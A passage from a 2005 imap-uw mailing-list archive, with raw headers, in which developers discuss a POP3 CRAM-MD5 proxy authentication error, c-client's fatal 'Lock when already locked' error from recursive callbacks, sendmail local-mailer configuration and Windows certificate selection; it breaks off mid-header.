30 May 2005 11:06:29 -0000 Message-ID: <429AF44F.6080503@angren.org> Date: Mon, 30 May 2005 16:09:03 +0500 From: Akmal Khodjanov User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=windows-1251; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.14 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='LOCALE_CYRILLIC 0, __CHAR_CYRILLIC_CT 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] Authentication error with POP3 proxy server X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: akmal@angren.org List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello All, I'm getting the following error while testing mtest application. Is this is another broken pop3 implementation or have I just missed anything during the c-client build procedure? Thanks. //Log starts here Mailbox ('?' for help): {some_pop3_server/user=example@example.com/pop3} [Trying IP address [some_ip_address]] +OK POP3 PROXY server ready (7.0.027) [POP3 PROXY server ready (7.0.027)] CAPA +OK Capability list follows TOP RESP-CODES USER SASL CRAM-MD5 DIGEST-MD5 PIPELINING UIDL . AUTH CRAM-MD5 + PEVGRTk0NTdFQjI0OUQxMzBEMzAwMkFGRDFGRU0RTk3OTEwODZAcG9wMy5jcC50aW4uaXQ+ {some_pop3_server/pop3/user="example@example.com"} password: c3BhZGFldm9scGVAdGluIGM4MzY5Mjg1Zjg0ODgzNWVjYWQ5YWM0MGI1MzgzMDc4 -ERR invalid proxy password %Retrying CRAM-MD5 authentication after invalid proxy password AUTH CRAM-MD5 [Winsock cleanup] ?Can not authenticate to POP3 server: POP3 connection broken in response // end _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon May 30 11:33:40 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 30 May 2005 11:33:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UIXeHe032248 for ; Mon, 30 May 2005 11:33:40 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UIXdO3000699 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 30 May 2005 11:33:39 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UIXCRd027244; Mon, 30 May 2005 11:33:12 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UIXBEo027236 for ; Mon, 30 May 2005 11:33:11 -0700 Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UIX8DM029696 for ; Mon, 30 May 2005 11:33:11 -0700 Received: from deepspace.sepia.com ([205.236.40.42]) by VL-MO-MR010.ip.videotron.ca (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep 8 2003)) with ESMTPA id <0IHB00E0NFI1WP@VL-MO-MR010.ip.videotron.ca> for imap-uw@u.washington.edu; Mon, 30 May 2005 14:32:25 -0400 (EDT) Received: from [205.236.40.117] ([205.236.40.117]) (authenticated bits=0) by deepspace.sepia.com (8.12.10/8.12.10) with ESMTP id j4UIVh1L003220 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 30 May 2005 14:31:43 -0400 Date: Mon, 30 May 2005 14:32:33 -0400 From: Mike Schmidt To: imap-uw@u.washington.edu Message-id: <429B5C41.1040100@sepia.com> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.168 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] Question about mailbox locks X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, all I run c-client to an uw-imap server, and the mailboxes are in mbx format. I have been getting mailbox lock error messages, and these are totally disastrous, because the call fatal(). Here is an extract from my log files: 5/29/2005 8:41:26 PM: MailStream: INBOX Checkmail 5/29/2005 8:41:26 PM: Debug: 00000021 NOOP 5/29/2005 8:41:27 PM: Debug: * 1 EXPUNGE 5/29/2005 8:41:27 PM: mm_expunged: 1 ..... 5/29/2005 8:42:37 PM: MailStream: INBOX Checkmail 5/29/2005 8:42:37 PM: Fatal - Lock when already locked, mbx={mail.tt-express.com:143/imap/tls/user="....."}INBOX The CheckMail always does a mail_ping() first, and then if that fails, a mail_open(). All callbacks to mm_log and mm_dlog are printed in the log file, an extraction of which you see above. It looks as though either the mail_ping() failed (no "Debug" traceback) and an extra mail_open was issued even though the mailbox was open, or the mail_ping() itself caused the error. As you can see, it's been barely a minute since the last successful ping. Is anyone able to enlighten me with respect to this error? It is particularly nasty since it calls fatal(), which kills everything. I can't have that happenning. Why would it call fatal in the first place instead of just returning an error? How can I make sure that the sequence I follow never hits this error? I don't want to change any c-client code, so I can't to do anything direct about the call to fatal(). That would really be my last resort. Thanks very much for any ideas you might have. Mike _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon May 30 11:48:01 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 30 May 2005 11:48:01 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UIm1X2000493 for ; Mon, 30 May 2005 11:48:01 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UIm03E001508 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 30 May 2005 11:48:00 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UIlUq6028214; Mon, 30 May 2005 11:47:30 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UIlSgJ028206 for ; Mon, 30 May 2005 11:47:29 -0700 Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4UIlQsg000846 for ; Mon, 30 May 2005 11:47:26 -0700 Received: from deepspace.sepia.com ([205.236.40.42]) by VL-MO-MR011.ip.videotron.ca (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep 8 2003)) with ESMTPA id <0IHB007ZQG6FLV@VL-MO-MR011.ip.videotron.ca> for imap-uw@u.washington.edu; Mon, 30 May 2005 14:47:04 -0400 (EDT) Received: from [205.236.40.117] ([205.236.40.117]) (authenticated bits=0) by deepspace.sepia.com (8.12.10/8.12.10) with ESMTP id j4UIkL1L003332 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 30 May 2005 14:46:22 -0400 Date: Mon, 30 May 2005 14:47:12 -0400 From: Mike Schmidt In-reply-to: <429B5C41.1040100@sepia.com> To: imap-uw@u.washington.edu Message-id: <429B5FB0.4080405@sepia.com> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) References: <429B5C41.1040100@sepia.com> X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.168 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] Re: Question about mailbox locks (addendum) X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, again. I just realized that I should have included the following code in my question (see below): The code that actually performs the ping (and seems to return false/NIL) is the following: bool ttx_Mail::Ping() { if (stream) { long lResult; lResult = mail_ping(stream); if (lResult && stream->mailbox) { return T; } else mm_dlog ("%No mailbox is open on this stream"); } return NIL; } Mike Schmidt wrote: > Hello, all > > I run c-client to an uw-imap server, and the mailboxes are in mbx > format. I have been getting mailbox lock error messages, and these > are totally disastrous, because the call fatal(). > > Here is an extract from my log files: > 5/29/2005 8:41:26 PM: MailStream: INBOX Checkmail > 5/29/2005 8:41:26 PM: Debug: 00000021 NOOP > 5/29/2005 8:41:27 PM: Debug: * 1 EXPUNGE > 5/29/2005 8:41:27 PM: mm_expunged: 1 > ..... > 5/29/2005 8:42:37 PM: MailStream: INBOX Checkmail > 5/29/2005 8:42:37 PM: Fatal - Lock when already locked, > mbx={mail.tt-express.com:143/imap/tls/user="....."}INBOX > > The CheckMail always does a mail_ping() first, and then if that fails, > a mail_open(). All callbacks to mm_log and mm_dlog are printed in the > log file, an extraction of which you see above. It looks as though > either the mail_ping() failed (no "Debug" traceback) and an extra > mail_open was issued even though the mailbox was open, or the > mail_ping() itself caused the error. As you can see, it's been barely > a minute since the last successful ping. > > Is anyone able to enlighten me with respect to this error? It is > particularly nasty since it calls fatal(), which kills everything. I > can't have that happenning. > Why would it call fatal in the first place instead of just returning > an error? How can I make sure that the sequence I follow never hits > this error? I don't want to change any c-client code, so I can't to do > anything direct about the call to fatal(). That would really be my > last resort. > > Thanks very much for any ideas you might have. > > Mike > > > > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon May 30 21:30:03 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 30 May 2005 21:30:03 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4V4U3g1020599 for ; Mon, 30 May 2005 21:30:03 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4V4U2tn026066 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 30 May 2005 21:30:02 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4V4Tn5o018508; Mon, 30 May 2005 21:29:49 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4V4Tmk5018447 for ; Mon, 30 May 2005 21:29:48 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4V4TlqA004782 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 30 May 2005 21:29:48 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4V4TlDI007653; Mon, 30 May 2005 21:29:47 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4V4TiY7017895 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 30 May 2005 21:29:46 -0700 Date: Mon, 30 May 2005 21:29:44 -0700 (PDT) From: Mark Crispin To: Mike Schmidt Subject: Re: [Imap-uw] Question about mailbox locks In-Reply-To: <429B5C41.1040100@sepia.com> Message-ID: References: <429B5C41.1040100@sepia.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The error message "Lock when already locked" has nothing to do with mailbox locks. Instead, it is a bug in your program. You attempted a recursive call to a mail_???() routine from an mm_???() callback routine. Doing so is forbidden; c-client's IMAP engine only permits a single command in progress on a stream at a time. It calls fatal() because there is *no* way to recover from this other than your fixing the bug in your program that caused this to happen. There is no possible error return when this happens. Calling fatal() is a good thing. It gives you a core dump, and by looking at the stack in the core dump it will show you the exact place that the recursive call was attempted. You can do a similar thing on Windows with the Visual Studio debugger. It needs to be emphasized that *no* mm_???() or other c-client callback routine can recursively call a mail_???() routine. Callback routines can only record the data presented to them, and then return to c-client to finish the mail_???() function that caused the callback. 99 times out of 100, the buggy callback routine is an mm_exists(), mm_recent(), mm_expunged(), or mm_searched() routine. For example, the following code is a blunder, and is an excellent example of the type of tempting mistake that novice c-client programmers often make (and sometimes even experts make this mistake too). Thus, it's an instructive example to study and understand, albeit of what *NOT* to do: void mm_exists (MAILSTREAM *stream,unsigned long msgno) { /* This is an example of what NOT to do */ ENVELOPE *env = mail_fetchenvelope (stream,msgno); if (env->from) { if (env->from->personal) printf ("New mail from %s\n",env->from->personal); else printf ("New mail from %s@%s\n",env->from->mailbox, env->from->host); } } When this routine is called, c-client will crash with the "Lock when already locked" message unless by the envelope for that message is already cached. I hope that this helps explain what went wrong, and why. On Mon, 30 May 2005, Mike Schmidt wrote: > Hello, all > > I run c-client to an uw-imap server, and the mailboxes are in mbx format. I > have been getting mailbox lock error messages, and these are totally > disastrous, because the call fatal(). > > Here is an extract from my log files: > 5/29/2005 8:41:26 PM: MailStream: INBOX Checkmail > 5/29/2005 8:41:26 PM: Debug: 00000021 NOOP > 5/29/2005 8:41:27 PM: Debug: * 1 EXPUNGE > 5/29/2005 8:41:27 PM: mm_expunged: 1 > ..... > 5/29/2005 8:42:37 PM: MailStream: INBOX Checkmail > 5/29/2005 8:42:37 PM: Fatal - Lock when already locked, > mbx={mail.tt-express.com:143/imap/tls/user="....."}INBOX > > The CheckMail always does a mail_ping() first, and then if that fails, a > mail_open(). All callbacks to mm_log and mm_dlog are printed in the log file, > an extraction of which you see above. It looks as though either the > mail_ping() failed (no "Debug" traceback) and an extra mail_open was issued > even though the mailbox was open, or the mail_ping() itself caused the > error. As you can see, it's been barely a minute since the last successful > ping. > > Is anyone able to enlighten me with respect to this error? It is particularly > nasty since it calls fatal(), which kills everything. I can't have that > happenning. > Why would it call fatal in the first place instead of just returning an > error? How can I make sure that the sequence I follow never hits this error? > I don't want to change any c-client code, so I can't to do anything direct > about the call to fatal(). That would really be my last resort. > > Thanks very much for any ideas you might have. > > Mike > > > > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jun 2 10:33:03 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Jun 2005 10:33:03 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j52HX3Qp028583 for ; Thu, 2 Jun 2005 10:33:03 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j52HX29O028623 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Jun 2005 10:33:02 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j52HWJWS027804; Thu, 2 Jun 2005 10:32:19 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j52FlVGO008294 for ; Thu, 2 Jun 2005 08:47:31 -0700 Received: from EXCHANGE.corp.laszlosystems.com (exchange.laszlosystems.com [198.144.202.67]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j52FlVC7012343 for ; Thu, 2 Jun 2005 08:47:31 -0700 Received: from [10.0.0.3] ([24.23.178.206]) by EXCHANGE.corp.laszlosystems.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 2 Jun 2005 08:47:30 -0700 Mime-Version: 1.0 (Apple Message framework v730) Content-Transfer-Encoding: 7bit Message-Id: <812ADFC6-0E08-47A7-B8F4-63C3453911B5@laszlosystems.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: c-client@u.washington.edu From: Joseph Silverman Date: Thu, 2 Jun 2005 08:47:28 -0700 X-Mailer: Apple Mail (2.730) X-OriginalArrivalTime: 02 Jun 2005 15:47:30.0545 (UTC) FILETIME=[627D3E10:01C5678A] X-Scanned-By: MIMEDefang 2.49 on 140.142.32.169 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0, __USER_AGENT_APPLEMAIL 0, __X_MAILER_APPLEMAIL 0' X-Mailman-Approved-At: Thu, 02 Jun 2005 10:32:17 -0700 Cc: Subject: [Imap-uw] What is the sendmail.mc magic to make ... X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Mlocal, P=/home/laszlo/bin/tmail, F=lsDFMAw5:/|@qPrn+, S=10/30, R=20/40, E=\r\n, T=DNS/RFC822/X-Unix, A=tmail $u appear in sendmail.cf? THANKS - Yossie _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jun 2 11:34:26 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Jun 2005 11:34:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j52IYQxk031796 for ; Thu, 2 Jun 2005 11:34:26 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j52IYPc4030299 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Jun 2005 11:34:25 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j52IXu33006492; Thu, 2 Jun 2005 11:33:56 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j52IBhH3002611 for ; Thu, 2 Jun 2005 11:11:43 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j52IBhfm030864 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 2 Jun 2005 11:11:43 -0700 Received: from smtptest.cac.washington.edu (smtptest.cac.washington.edu [140.142.32.144]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j52IBg5g031306 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 2 Jun 2005 11:11:42 -0700 Received: from shiva2.cac.washington.edu (shiva2.cac.washington.edu [140.142.37.173]) (authenticated authid=hubert) by smtptest.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j52IBg5g021026 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 2 Jun 2005 11:11:42 -0700 Date: Thu, 2 Jun 2005 11:11:42 -0700 (PDT) From: Steve Hubert To: Joseph Silverman Subject: Re: [Imap-uw] What is the sendmail.mc magic to make ... In-Reply-To: <812ADFC6-0E08-47A7-B8F4-63C3453911B5@laszlosystems.com> Message-ID: References: <812ADFC6-0E08-47A7-B8F4-63C3453911B5@laszlosystems.com> Organization: Univ of Washington; Computing and Communications; Seattle MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Mailman-Approved-At: Thu, 02 Jun 2005 11:33:54 -0700 Cc: c-client@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 2 Jun 2005, Joseph Silverman wrote: > Mlocal, P=/home/laszlo/bin/tmail, F=lsDFMAw5:/|@qPrn+, > S=10/30, R=20/40, E=\r\n, T=DNS/RFC822/X-Unix, > A=tmail $u > > appear in sendmail.cf? > > THANKS - Yossie I don't know how to change the S and R rulesets without doing something more direct. You might get close to what you want with define(`LOCAL_MAILER_PATH', `/home/laszlo/bin/tmail') MODIFY_MAILER_FLAGS(`LOCAL', `-9m') MODIFY_MAILER_FLAGS(`LOCAL', `++') define(`LOCAL_MAILER_EOL', `\r\n') define(`LOCAL_MAILER_ARGS', `tmail $u') or define(`LOCAL_MAILER_PATH', `/home/laszlo/bin/tmail') define(`LOCAL_MAILER_FLAGS', `Prn+') define(`LOCAL_MAILER_EOL', `\r\n') define(`LOCAL_MAILER_ARGS', `tmail $u') Or you could add your own mailer by copying one of the simpler mailers like fax.m4. Steve _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 3 15:25:39 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Jun 2005 15:25:39 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j53MPd1t010896 for ; Fri, 3 Jun 2005 15:25:39 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j53MPcWO017135 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 3 Jun 2005 15:25:38 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j53MOkcX028912; Fri, 3 Jun 2005 15:24:46 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j53MOhEw028892 for ; Fri, 3 Jun 2005 15:24:43 -0700 Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j53MOen8024347 for ; Fri, 3 Jun 2005 15:24:42 -0700 Received: from deepspace.sepia.com ([205.236.40.42]) by VL-MO-MR011.ip.videotron.ca (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep 8 2003)) with ESMTPA id <0IHJ00H274UADM@VL-MO-MR011.ip.videotron.ca> for imap-uw@u.washington.edu; Fri, 03 Jun 2005 18:22:58 -0400 (EDT) Received: from [172.16.56.1] ([205.236.40.161]) (authenticated bits=0) by deepspace.sepia.com (8.12.10/8.12.10) with ESMTP id j53MM31L032053 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 03 Jun 2005 18:22:03 -0400 Date: Fri, 03 Jun 2005 18:23:02 -0400 From: Mike Schmidt To: imap-uw@u.washington.edu Message-id: <42A0D846.1020902@sepia.com> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.137 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] Where does c-client smtp get its certificates? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, There is some talk of openssl in the build instructions for c-client, but nothing is mentioned for windows. After using it a few times, I came to the conclusion that c-client is fetching the certificates it needs from the standard Windows certificate stores. The code confirms this. But if there are several certificates in the user's personal store, how is the certificate selected? I have a situation where there are always at least two certificates in the user's personal store, and c-client picks the right one on two occasions (the one with the user's email address) and on the other occasion it picks the wrong one (one without the user's email address - or the user's name). The second certificate is a special-purpose certificate used by a group, thus does not have the right user credentials. It's accepted anyway by sendmail, (it has the right root), but mis-identifies the user. Does anyone know how I can influence that decision? Thanks for any ideas you may have. Mike _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 3 15:36:04 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Jun 2005 15:36:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j53Ma41q011340 for ; Fri, 3 Jun 2005 15:36:04 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu 